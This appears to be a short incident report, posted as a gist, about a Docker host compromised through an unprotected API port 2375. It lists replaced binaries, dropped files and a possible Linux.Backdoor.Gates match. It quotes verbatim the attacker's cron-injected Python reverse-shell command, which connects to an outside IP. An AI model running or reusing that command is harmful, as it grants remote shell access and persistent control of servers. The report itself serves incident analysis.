Possible infection through Docker ?

gistfile1.txt

A server with public IPv4 was running a Docker server with infiltered control port (2375)
From log, Attacker started a container based on Ubuntu. 
Logs for this container only show this command:
echo -e \"* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"211.149.215.17\\\",1496));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"]);'\\n\" >> /mnt/etc/crontab
Host /etc/crontab actually shows the command
Binary replaced:
* /bin/ps
* /bin/netstat
* /bin/ssh
New files:
* /usr/bin/.sshd
* /usr/bin/dpkgd/{ps,ss,netstat}
* /usr/bin/bsd-port/{conf.n,getty}
* /usr/bin/yzoesweupt (??)
* /tmp/tt

After further investigation, found possible signature for Linux.Backdoor.Gates: https://news.drweb.com/?i=5801&c=5&lng=en&p=0
This host was supposed to be a remote swarm node, requiring management through port 2375. Docker should consider securing this !